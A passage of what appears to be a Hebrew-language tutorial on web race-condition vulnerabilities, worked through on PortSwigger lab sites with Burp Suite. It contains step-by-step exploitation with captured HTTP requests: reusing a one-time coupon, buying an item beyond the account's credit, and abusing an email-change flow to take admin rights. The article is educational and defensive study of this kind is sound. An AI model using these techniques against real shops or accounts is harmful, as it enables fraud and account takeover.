הן אולי פחות נפוצות מחולשות מוכרות אחרות, אבל כשהן מופיעות הן מסוגלות לעקוף מנגנוני אבטחה שלא תמיד ניתן לעקוף בדרך אחרת. עם פוטנציאל נזק כזה, אין ספק שמגיע להן מאמר משל עצמן.

כלים בהם השתמשתי להדגמות במאמר

רוב העבודה נעשה באמצעות מודולים שונים בכלי Burp Suite, הכי מייצר לנו סוג של "מתווך" בין הדפדפן לבין האפליקציה כך שניתן "לתפוס" את הבקשות בטרם יעברו הלאה לעיבוד, לראות את היסטוריית הבקשות שנשלחו, לערוך אותם ובאמצעות מודולים מובנים ותוספים ניתן לבצע מתקפות שונות. המודולים והתוספים בהם השתמשתי הם:

Burp Repeater - המודול מאפשר לגשת לתוכן הבקשה לערוך אותה ולשלוח אותה שוב ושוב, ניתן ליצור העתקים של הבקשה, ליצור קבוצה של בקשות ולשלוח אותם במקביל או אחת אחרי השניה ועוד.

Turbo intruder - תוסף Burp Suite המאפשר באמצעות קוד לשלוח מספר רב של בקשות במקביל, התוסף שימושי מאוד כאשר צריכים לשלוח מספר בקשות בזמן כמעט זהה והוא חזק יותר מהמודול Intruder המובנה ששולח את הבקשות באופן טורי.

ניגש לענייינים

מאחר וקיימים מספר סוגים שונים של race conditions נרצה להרחיב על כל אחד מהם בנפרד.

נתחיל מהמצב הראשון: דריסת מנגנוני הגבלה.

המוכר ביותר מבין כל המצבים הוא המצב בו יש לנו הגבלה מסוימת בלוגיקה העסקית. ניקח לדוגמא חנות אינטרנטית המאפשרת להזין קופון חד פעמי לפני התשלום ולקבל הנחה על סל הקניות.

לוגיקה כזאת תראה בערך באופן הבא:

- נבדוק שהקופון טרם נוצל.
- נפעיל את ההנחה על סל הקניות.
- נעדכן במסד הנתונים שהקופון נוצל כדי שלא ינוצל שוב.

עם הלוגיקה הזאת, כל ניסיון לשימוש חוזר מאוחר יותר בקופון לא יתקבל.

אם כך, מה יקרה אם אותו לקוח ישלח את הבקשה פעמיים באותו הזמן עם אותו קוד הקופון?

בתרשים מעלה ניתן לראות כי לפי הלוגיקה שבחרנו, בשתי הבקשות ראשית נבצע בדיקה אם הקופון נוצל ומאחר ולא נוצל נעבור לשלב הבא, נפעיל את ההנחה פעמיים, לבסוף נעדכן בשתי הבקשות כי הקופון נוצל (לא משנה מי יעדכן ראשון מאחר והשדה לא משתנה במסד הנתונים).

שתי הבקשות עוברות באותו הזמן את המצב שבודק האם הקופון נוצל, זהו מצב המירוץ שלנו ומשך הזמן בו הוא קורה נקרא חלון המירוץ או באנגלית Race window (מסומן באדום בתרשים). זהו מושג חשוב מאוד שנשתמש בו המון בהמשך.

קיימות וריאציות שונות למתקפה שכזו, למשל:

- שימוש בקופון חד פעמי יותר מפעם אחת.
- דירוג מוצר מספר פעמים.
- משיכה או העברת כספים מעבר ליתרה בחשבון.
- שימוש חוזר באותו פתרון (מנגנון לזיהוי בוטים) CAPTCHA.
- מעקף על מנגנוני הגנה מפני Brute force עם הגבלת קצב.

חולשות דריסת הגבלות הן תת טיפוס של חולשות מסוג "time-of-check to time-of-use", בהמשך נראה דוגמאות לחולשות שלא נופלות תחת הקטגוריה הזו.

אז איך נוכל לגלות ולנצל חולשות מהסוג הזה?

הרעיון פשוט מאוד, ואפשר לחלק אותו לשלבים הבאים:

נזהה נקודת קצה או הגבלת קצב על משאב יקר ערך או בעל השפעה גבוהה על האבטחה.

נשלח מספר בקשות במקביל לאותה הנקודה ונבדוק אם הצלחנו לדרוס.

הקושי העיקרי הוא לשלוח את הבקשות כך שלפחות 2 חלונות מירוץ יסתדרו במקביל ונקבל מצב מירוץ ביניהם, לפעמים מדובר במרווח כל כך קטן ברמת מילישניות ואפילו פחות.

וגם אם נשלח את כל הבקשות בדיוק באותו הזמן קיימים גורמים חיצוניים נוספים שיכולים להשפיע על הזמן של החלון ועל הסדר שבו השרת מעבד את הבקשות.

וכאן נכנסים לתמונה הכלים החיצוניים כמו Burp Suite שמספק לנו את המודול של ה-Repeater.

ה-Repeater מאפשר לנו ליצור קבוצה של בקשות ולשלוח אותן במקביל בשיטות שונות לגרסאות HTTP שונות:

- עבור HTTP/1 - המודול משתמש בטכניקה שנקראת last-byte synchronization. הטכניקה היא בעצם לשמור את הבייט האחרון של כל אחת מהבקשות ולאחר העברת הבקשות להעביר יחד את כל הבייטים האחרונים שישמרו מכל בקשה. לרוב שרתים מעבדים בקשות רק לאחר שהסתיימה קבלת הבקשה במלואה, כך באמצעות הטכניקה הזאת ייתכן ונצליח לתמרן את השרת לעבד את כל הבקשות שלנו ביחד.
- עבור HTTP/2 - המודול משתמש בטכניקה שנקראת single-packet attack. הרעיון הכללי של הטכניקה אומר "לארוז" את כל הבקשות ביחד לסגמנט TCP אחד ולשלוח לשרת ובכך לנסות צמצם את הפרשי הזמנים בין עיבוד של כל בקשה. הטכניקה הוצגה לראשונה על ידי חוקרי PortSwigger בכנס Black Hat USA 2023.

אמנם לרוב מספיק לשלוח שתי בקשות במקביל כדי לזהות את החולשה אך שליחה של מספר גדול יותר של בקשות עוזר לצמצם את ההשהיות והתנודות ועיכובים נוספים או בשמם המקצועי server-side jitter.

הדגמה

הגיע הזמן, הדגמה באמצעות מעבדה. במעבדה קיבלנו משתמש לחנות אינטרנטית שמוכרת מעיל עור במחיר שגבוה מהקרדיט שיש לנו בארנק, בנוסף קיבלנו קוד קופון חד פעמי להנחה של 20%, המטרה שלנו היא לקנות את המעיל עם הקרדיט הקיים וספוילר קטן, נשתמש בקופון שקיבלנו.

כפי שניתן לראות קיבלנו קרדיט של 50$ אבל המעיל עולה 1337$, נתחיל את הבדיקה שלנו על ידי כך שננסה להבין קודם כל איך עובד תהליך הרכישה ואיך עובד תהליך הפעלת הקופון.

לאחר לחיצה על Apply, ניגש ל-BurpSuite Proxy ונאתר את הבקשה שנשלחה. את הבקשה נעביר ל-Repeater, נעשה זאת מספר פעמים כדי ליצור מספר עותקים של הבקשה (כמספר הפעמים שנצטרך להפעיל את הקופון כדי להגיע למחיר הרצוי)

כעת נעבור ללשונית ה-Repeater, שם ניצור קבוצה חדשה של בקשות מהבקשות שהעברנו מה-Proxy.

נסמן את הבקשות מתוך הרשימה וניתן שם לקבוצה (לא חובה, יש שם המופיע כברירת מחדל), ונלחץ על Create.

כעת ניגש אל לשונית הקבוצה שיצרנו ונלחץ על החץ שמופיע כדי לבחור את שיטת השליחה לכל הקבוצה, במעבדה הזו השתמשתי בשיטת single-packet בגלל פרוטוקול ה-Http.

לאחר בחירת שיטת השליחה, נלחץ על Send group.

נחזור אל המעבדה, לאחר השליחה קיבלנו מהשרת שהבקשות עברו ואפשר לראות כי ההנחות עם הקופון עבדו והגענו למחיר רצוי.

נחמד לקנות מעיל שעולה $1337 רק ב-$19.25 לא? זו רק ההתחלה, נתקדם לחקור מקרים נוספים.

ומה עושים כאשר נשלחות מספר בקשות למספר נקודות קצה?

תתארו לכם את המצב הבא, לקוח מוסיף מוצר לעגלה, משלם עליו ותוך כדי המתנה לאישור התשלום מוסיף עוד מוצרים לעגלה.

יש מספר וריאציות שהחולשה יכולה להופיע כשהשרת מאמת את התשלום ומאשר את ההזמנה עבור בקשה אחת שנשלחה. נניח כי התהליך הזה קורה בצורה הבאה:

- הסל בהמתנה עם מוצרים
- נשלחת בקשה לנקודת הקצה בשרת, למשל: POST /makePayment
- מתבצע בשרת אימות לתשלום
- מתבצע אישור להזמנה

במקרה הזה, נוצר חלון מירוץ שניתן לנצל בין הזמן שהתשלום מאומת לזמן שההזמנה מאושרת.

כאשר בודקים חלונות מירוץ עם מספר נקודות קצה, אפשר להיתקל בבעיות שנוצרות בעקבות תזמון חלונות המירוץ הנוצרים בשליחת הבקשות, גם אם הן נשלחות במקביל.

בעיות אלו נוצרות לרוב בעקבות שתי גורמים:

- השהיות שנוצרות בעקבות ארכיטקטורת הרשת - למשל יכולה להיווצר השהייה כשה-Client יוצר חיבור חדש עם ה-Server, גם לסוג הפרוטוקול בו הם מתקשרים יכולה להיות השפעה על ההשהייה.
- השהיות הנוצרות על ידי עיבוד בנקודת הקצה - לנקודות קצה שונות יש זמני עיבוד שונים, תלוי באילו פעולות השרת צריך לבצע כשפונים לאותה הנקודה.

למזלנו, גם לבעיות האלו יש פתרון, והוא נקרא חימום החיבור (Connection Warming).

חימום החיבור (Connection Warming)

החיבור הראשוני בין ה-Client ל-Server בדרך כלל לא מפריע למתקפות על race conditions מאחר ושרתים לרוב משהים בקשות מקבילות באופן שווה, לכן הבקשות נשמרות בסנכרון.

חשוב להבדיל השהיות אלו הנוצרות בגלל החיבור לעומת השהיות הנוצרות בעקבות זמן עיבוד בנקודת הקצה.

דרך אחת להתגבר על בעיית סנכרון החלונות הזו היא באמצעות "חימום" החיבור על ידי הוספה לקבוצה של בקשת ה-GET הנשלחת כשמבקשים מהשרת את עמוד הבית לדוגמא ושליחת הבקשות באופן סדרתי (אחת אחרי השניה) , כך בעצם אנחנו יוצרים מצב בו הבקשה הראשונה שנשלחה תיקח הכי הרבה זמן מאחר והיא יוצרת את החיבור, ושאר הבקשות יהיו תלויות רק בזמני העיבוד.

אם עדיין מקבלים זמני תגובה לא עקביים בנקודת קצה מסוימת, גם אם השתמשנו בשיטת ה-Single packet, נוכל להסיק כי השהיות בשרת מפריעות לנו לביצוע התקיפה.

ניתן לפתור את זה עם שימוש בתוסף Turbo Intruder של BurpSuite שישלח כמה בקשות חיבור כאלו כדי לחמם את החיבור לפני שיוציא את הבקשות העיקריות לתקיפה.

והפעם במעבדה שלנו, המטרה היא שוב לקנות את מעיל העור היקר, נתחיל בהתחברות עם הפרטים שקיבלנו ונעבור על תהליך הקניה עם פריט זול יותר, גיפטקארד במקרה הזה וננסה לראות האם נוכל לאתר race conditions.

לאחר השלמת ההזמנה, ניגש להיסטוריית הפרוקסי שלנו ב-Burpsuite ונבחן אילו בקשות משתתפות בתהליך הרכישה.

```
Request
Pretty  Raw  Hex
1  POST /cart/checkout HTTP/2
2  Host: 0a2900290423a80d81d92b9f006c008b.web-security-academy.net
3  Cookie: session=qoyYG15FlEGYjWF2WDOq9zz1pKmPsqnp
4  Content-Length: 37
5  Cache-Control: max-age=0
6  Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
7  Sec-Ch-Ua-Mobile: ?0
8  Sec-Ch-Ua-Platform: "macOS"
9  Accept-Language: en-US,en;q=0.9
10 Origin:
   https://0a2900290423a80d81d92b9f006c008b.web-security-academy.ne
   t
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
   Safari/537.36
14 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
   ,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b
   3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer:
   https://0a2900290423a80d81d92b9f006c008b.web-security-academy.ne
   t/cart
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 csrf=tQ4ccX2c8g2bDE2R9YLA4rmThQBhfClZ
```

```
Response
Pretty  Raw  Hex  Render
1  HTTP/2 200 OK
2  Content-Type: text/html; charset=utf-8
3  X-Frame-Options: SAMEORIGIN
4  Content-Length: 4545
5
6  <!DOCTYPE html>
7  <html>
8    <head>
9      <link href=/resources/labheader/css/academyLabHeader.css rel=
       stylesheet>
10     <link href=/resources/css/labs.css rel=stylesheet>
11     <title>
         Multi-endpoint race conditions
       </title>
12   </head>
13   <body>
14     <script src="/resources/labheader/js/labHeader.js">
       </script>
15     <div id="academyLabHeader">
16       <section class='academyLabBanner'>
17         <div class=container>
18           <div class=logo>
             </div>
19           <div class=title-container>
20             <h2>
                 Multi-endpoint race conditions
               </h2>
21             <a class=link-back href='
               https://portswigger.net/web-security/race-conditions/
               lab-race-conditions-multi-endpoint'>
22               Back to lab description 
23               <svg version=1.1 id=Layer_1 xmlns='
                 http://www.w3.org/2000/svg' xmlns:xlink='
                 http://www.w3.org/1999/xlink' x=0px y=0px viewBox='
```

מצאנו שנשלחות שתי בקשות, אחת לאחר הוספת הפריט לעגלת הקניות, והשניה לאחר הרכישה עצמה מתוך סל הקניות.

נעשה ניסוי קטן, ניקח את הבקשה שנשלחת כשעוברים לעמוד של עגלת הקניות ונשלח אותו פעמיים, פעם אחת עם Cookie שקיבלנו מהשרת ופעם שניה ללא.

```
Test GET cart  2  15  16  +
Send group (separate connections)  Cancel  Burp AI  Target: https://0a6f00ee034c905380821
Request
Pretty  Raw  Hex
1  GET /cart HTTP/2
2  Host: 0a6f00ee034c90538080212a00150037.web-security-academy.net
3  Cookie: session=9n8JsIWKnohqq383HWY8hrrRAuqDXjP7
4  Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
5  Sec-Ch-Ua-Mobile: ?0
6  Sec-Ch-Ua-Platform: "macOS"
7  Accept-Language: en-US,en;q=0.9
8  Upgrade-Insecure-Requests: 1
9  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
   Safari/537.36
10 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
   image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
   q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer:
   https://0a6f00ee034c90538080212a00150037.web-security-academy.net
   /product?productId=2
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, i
18
19
Search  0 highlights
```

```
Response
Pretty  Raw  Hex  Render
58                 <table id='cart-items'>
59                     <tbody>
60                         <tr>
61                             <th>
                                   Name
                               </th>
62                             <th>
                                   Price
                               </th>
63                             <th>
                                   Quantity
                               </th>
64                             <th>
                               </th>
65                         </tr>
66                         <tr>
67                             <td>
68                                 <a href=/product?productId=2>
                                       Gift Card
                                   </a>
69                             </td>
70                             <td>
                                   $10.00
                               </td>
71                             <td>
72                                 <form action=/cart method=
                                   POST style='display: inline'>
73                                     <input required type=
                                       hidden name=productId
                                       value=2>
74                                     <input required type=
                                       hidden name=quantity
                                       value=-1>
Search  0 highlights
```

Send group (separate connections) | Cancel | Burp AI | Target: https://0a6f00ee034c9053808021

Request

```
1  GET /cart HTTP/2
2  Host: 0a6f00ee034c90538080212a00150037.web-security-academy.net
3  Cookie:
4  Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
5  Sec-Ch-Ua-Mobile: ?0
6  Sec-Ch-Ua-Platform: "macOS"
7  Accept-Language: en-US,en;q=0.9
8  Upgrade-Insecure-Requests: 1
9  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
   Safari/537.36
10 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
   image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
   q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer:
   https://0a6f00ee034c90538080212a00150037.web-security-academy.net
   /product?productId=2
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, i
18
19
```

Response

```
                    <p>
                        |
                    </p>
48                  <a href=/cart>
49                      <img src=
                        /resources/images/cart_blue.svg />
50                  </a>
51                  <p>
                        0
                    </p>
52                  <p>
                        |
                    </p>
53              </section>
54          </header>
55          <header class="notification-header">
56          </header>
57          <p>
                <strong>
                    Cart
                </strong>
            </p>
58          <p>
                Your cart is empty
            </p>
59      </div>
60  </section>
61  <div class="footer-wrapper">
62  </div>
63 </div>
64 </body>
65 </html>
66
```

Search | 0 highlights | Search | 0 highlights

כששלחנו את הבקשה עם ה-Cookie קיבלנו את העגלה שלנו עם המוצרים, וכששלחנו ללא קיבלנו עגלה ריקה.

נסיק מזה שפרטי עגלת הקניות נשמרים בצד השרת, מצב כזה יכול להוביל להתנגשות אותה אנחנו מחפשים.

נחזור לתהליך הקניה שלנו וננסה לנצל את המצב הזה.

ניקח את שתי הבקשות שראינו קודם, הבקשה עבור הוספה לעגלה והבקשה לרכישה, ונעביר אותם ל-Repeater. נשלח את שתיהן לשרת באופן באופן סדרתי בחיבור אחד:

Race - probe 2 | 17 | 18 | +

Send group (single connection) | Cancel | Follow redirection | Burp AI | Target: https://0a6f00ee034c90538080212a00150037.web-security-academy.net | HTTP/2

Request

```
1  POST /cart HTTP/2
2  Host: 0a6f00ee034c90538080212a00150037.web-security-academy.net
3  Cookie: session=9n8JsIWKnohqq383HWY8hrrRAuqDXjP7
4  Content-Length: 36
5  Cache-Control: max-age=0
6  Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
7  Sec-Ch-Ua-Mobile: ?0
8  Sec-Ch-Ua-Platform: "macOS"
9  Accept-Language: en-US,en;q=0.9
10 Origin:
   https://0a6f00ee034c90538080212a00150037.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
   Safari/537.36
14 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
   image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
   q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer:
   https://0a6f00ee034c90538080212a00150037.web-security-academy.net
   /product?productId=2
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 productId=2&redir=PRODUCT&quantity=1
```

Response

```
1 HTTP/2 302 Found
2 Location: /product?productId=2
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
```

Inspector

Request attributes	2
Request query parameters	0
Request body parameters	3
Request cookies	1
Request headers	23
Response headers	3

Search | 0 highlights | Search | 0 highlights

Done | 100 bytes | 388 millis

הבקשות עברו לשרת עברו וקיבלנו תשובה תקינה מהשרת, אך אם נשים לב לזמני התגובה המסומנים, יש ביניהם הפרש יחסית גדול, לכן נרצה להשתמש בשיטה שראינו קודם ולחמם את החיבור על ידי הוספת בקשת ה-GET שנשלחת בתחילת החיבור לאתר.

כעת אפשר לראות שהבקשה שלקחה הכי הרבה זמן היא הבקשה הראשונה שיוצרת את החיבור וההפרש בין זמני התגובה של הבקשות השניות קטן והחלונות יותר מסונכרנים.

לאחר בדיקה קטנה באתר החנות מצאנו שה-productID של המעיל הוא 1, ננסה לשנות בבקשה שנשלחת לעגלה את ה-productID מ-2 (שזה הגיפט קארד) ל-1 ולשלוח את הכל שוב ביחד באופן סדרתי כמו שעשינו בניסוי מעלה.

הבקשה להוספה לקופה עברה בהצלחה, אך הבקשה לביצוע הרכישה נכשלה בעקבות חוסר של קרדיט לקניה, הגיוני סה"כ. אבל מה יקרה אם נשלח את כל הבקשות ביחד באופן מקבילי בשיטת single packet?

Send group (parallel) | Cancel | Follow redirection | Burp AI | Target: https://0a6f00ee034c905380802

Request — Pretty | Raw | Hex

```
POST /cart HTTP/2
Host: 0a6f00ee034c90538080212a00150037.web-security-academy.net
Cookie: session=9n8JsIWKnohqq383HWY8hrrRAuqDXjP7
Content-Length: 36
Cache-Control: max-age=0
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin:
https://0a6f00ee034c90538080212a00150037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
https://0a6f00ee034c90538080212a00150037.web-security-academy.net
/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

productId=1&redir=PRODUCT&quantity=1
```

Response — Pretty | Raw | Hex | Render

```
HTTP/2 302 Found
Location: /product?productId=1
X-Frame-Options: SAMEORIGIN
Content-Length: 0
```

Send group (parallel) | Cancel | Follow redirection | Burp AI | Target: https://0a6f00ee034c905380802

Request — Pretty | Raw | Hex

```
POST /cart/checkout HTTP/2
Host: 0a6f00ee034c90538080212a00150037.web-security-academy.net
Cookie: session=9n8JsIWKnohqq383HWY8hrrRAuqDXjP7
Content-Length: 37
Cache-Control: max-age=0
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin:
https://0a6f00ee034c90538080212a00150037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
https://0a6f00ee034c90538080212a00150037.web-security-academy.net
/cart
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=KkhLQZpUs9WS3yZVSJuBRYgzor2Fwyda
```

Response — Pretty | Raw | Hex | Render

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 8102

<!DOCTYPE html>
<html>
    <head>
        <link href=
        /resources/labheader/css/academyLabHeader.css rel=
        stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>
            Multi-endpoint race conditions
        </title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js">
        </script>
        <div id="academyLabHeader">
            <section class='academyLabBanner is-solved'>
                <div class=container>
                    <div class=logo>
                    </div>
                    <div class=title-container>
                        <h2>
                            Multi-endpoint race
                            conditions
                        </h2>
                        <a class=link-back href='
                        https://portswigger.net/web-securi
                        ty/race-conditions/lab-race-condit
                        ions-multi-endpoint'>
```

```
<p>
    <strong>
        Your order is on its way!
    </strong>
</p>
<table>
    <tbody>
        <tr>
            <th>
                Name
            </th>
            <th>
                Price
            </th>
            <th>
                Quantity
            </th>
            <th>
            </th>
        </tr>
        <tr>
            <td>
                <a href=/product?productId=1>
                    Lightweight &quot;l33t&quot;
                    Leather Jacket
                </a>
            </td>
            <td>
                $1337.00
            </td>
```

אכן כעת גם הבקשה לביצוע הרכישה התקבלה והמעיל היקר שלנו כבר בדרך אלינו!

רצפי שלבים מוסתרים

למעשה, ייתכן שבקשה אחת תיזום רצף של מספר שלבים שקורים מאחורי הקלעים, נתייחס לשלבי ביניים אלו כתת שלבים. אם נוכל לזהות לזהות בקשה אחת או יותר שנוגעות באותם הנתונים נוכל לנסות לנצל את תתי השלבים לטובתינו כדי לחשוף כשלים לוגיים רגישים לזמן אשר נפוצים בתהליכים רבי שלבים. כך בעצם מתאפשר לנו בעקבות פירצות של race conditions לקבל כוח בהרבה יותר גדול מדריסת מנגנוני הגבלה.

ניקח לדוגמא את מנגנון ה-MFA, אם אינו מיושם כראוי, נוכל לעקוף אותו.

נביט ב-Pseudo code הבא:

```
session['userid'] = user.userid
if user.mfa_enabled:
        session['enforce_mfa'] = True
 generate and send MFA code to user
 redirect browser to MFA code entry form
```

לפי קטע הקוד, אם עברנו את החלק הראשון של האימות באמצעות פרטי ההזדהות, המשתמש קיבל את הסשן מהשרת, כלומר שהוא כביכול כבר מאומת מבלי שביצע את השלבים הנוספים הדרושים.

כעת תוקף יכול לנצל את הסשן הזה כדי לפנות לנקודות קצה רגישות ולמשוך מידע שרק משתמשים מאומתים יכולים לגשת אליהם.

אז מה המתודולוגיה?

כדי לזהות ולנצל רצפי פעולות עם מספר תתי שלבים מוסתרים נשתמש בשיטה המסוכמת במאמר:

Smashing the state machine: The true potential of web race conditions by PortSwigger Research

השלב הראשון: חיזוי

- בדיקת כל נקודות הקצה היא לא מעשית, לכן נצמצם את הנקודות לפי שתי השאלות הבאות:
- האם נקודת הקצה חשובה מבחינה אבטחתית?
- האם יש פוטנציאל להתנגשות בעיבוד הבקשות?

שלב שני: ניסוי

לאחר שמיפינו את נקודות הקצה הרלוונטיות, נבדוק תחילה כיצד הן מתנהגות במצב רגיל.

לאחר מכן נתחיל לנסות בעזרת ה-Repeater לשלוח מספר בקשות כסדרת בקשות, ואז גם ננסה גם לשלוח במקביל, וננסה למצוא רמזים בתשובות המתקבלות.

כל דבר יכול להיות רמז, למשל זמני תגובה שונים ושינויים בהתנהגות אפליקציה עצמה, נרצה לאתר את אלו כדי לנסות ולנצל את זה לטובתנו.

שלב שלישי: הוכחת יכולת

ננסה להבין מה קורה בפועל, נסיר בקשות מיותרות וננסה לשחזר את ההשפעה על האפליקציה.

לרוב ההשפעה המירבית לא תהיה כל ברורה מאליו ולכן החוקרים של PortSwigger ממליצים להתייחס לכל מצב מירוץ כחלק מסדרה ולא כחולשה מבודדת.

לפעמים חימום החיבור כפי שראינו לא עוזר לנו, אך גם לזה יש פתרונות. לרוב שרתי WEB יוצרים השהיות בעיבוד הבקשות אם נשלחות יותר מדי כאלו בזמן צפוף מדי, נוכל לעקוף את זה על ידי שליחת מספר גדול של Dummy Requests, אלו בקשות סתמיות ללא משמעות, ובכך נעורר באופן מכוון את מנגנון ההשהייה בשרת, וכעת התקפות single packet יכולות לעבוד למרות שזמן הביצוע שלהן עם השהייה.

race conditions בנקודת קצה אחת

העמסת נקודת קצה אחת במספר גדול של בקשות יכולה לעורר מצב מירוץ, נניח במנגנון של איפוס סיסמא השומר את מזהה המשתמש ואת הטוקן שלו בסשן של אותו משתמש.

במקרה הזה שליחת שתי בקשות מאותו הסשן אך עם שתי משתמשים שונים יכולה להוביל להתנגשות כך שטוקן איפוס יישלח לתוקף במקום לקורבן.

בשביל שמתקפות כאלו יעבדו, על הפעולות להתבצע בדיוק בסדר הנכון, לכן לפעמים צריך לבצע את הפעולה מספר פעמים ועם קצת מזל נשיג את המטרה הרצויה.

פעולות המבוססות על מייל כמו אימות שנשלח וכדומה יהיו קרקע טובה למתקפה מאחר ולרוב הן קורות ב-Thread נפרד ולאחר שכבר עובדה הבקשה בשרת.

במעבדה הבאה נשלחה הזמנה להיות אדמיניסטרטור באתר לכתובת המייל:

carlos@ginandjuice.shop

אך עדיין לא נוצר חשבון באתר עם המייל הזה, המטרה שלנו לקשר את המייל למשתמש שלנו, לקבל יכולות של אדמיניסטרטור באתר ולמחוק את היוזר carlos.

בשלב הראשון נרצה למצוא נקודת קצה קריטית לתקיפה.

לאחר ההתחברות למשתמש שקיבלנו, בעמוד הפרופיל יש אפשרות לעדכון המייל, ננסה לנתח איך התהליך מתנהג במצב רגיל.

Sent	To	From	Subject	Body	
2025-10-08 12:34:18 +0000	wiener@exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.net	no-reply@0a9d0059031ee1d78037b77d006b0035.web-security-academy.net	Please confirm your e-mail	To confirm your email change to wiener@exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.net, click the link below Click here to confirm.	View raw

לאחר עדכון כתובת המייל בפרופיל באתר, נדרש אישור נוסף במייל כפי שמופיע מעלה, לאחר האישור מקבלים הודעה שהכתובת עודכנה.

```
Your email has been successfully updated
```

ננסה לחקור את הבקשה שנשלחת לנקודת הקצה מהאתר, נבדוק את התוכן שלה וננסה לדלות משם רמזים.

Request

Pretty Raw Hex

```
1  POST /my-account/change-email HTTP/2
2  Host: 0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
3  Cookie: session=95OgZWt3J72P1htrIQFu2rdN5H3XjFU4
4  Content-Length: 112
5  Cache-Control: max-age=0
6  Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
7  Sec-Ch-Ua-Mobile: ?0
8  Sec-Ch-Ua-Platform: "macOS"
9  Accept-Language: en-US,en;q=0.9
10 Origin:
   https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
   Safari/537.36
14 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
   image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
   q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer:
   https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
   /my-account?id=wiener
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 email=
   wiener%40exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.
   net&csrf=36eymH1yDP8iKoPYyA4HUpw4LIR38f8i
```

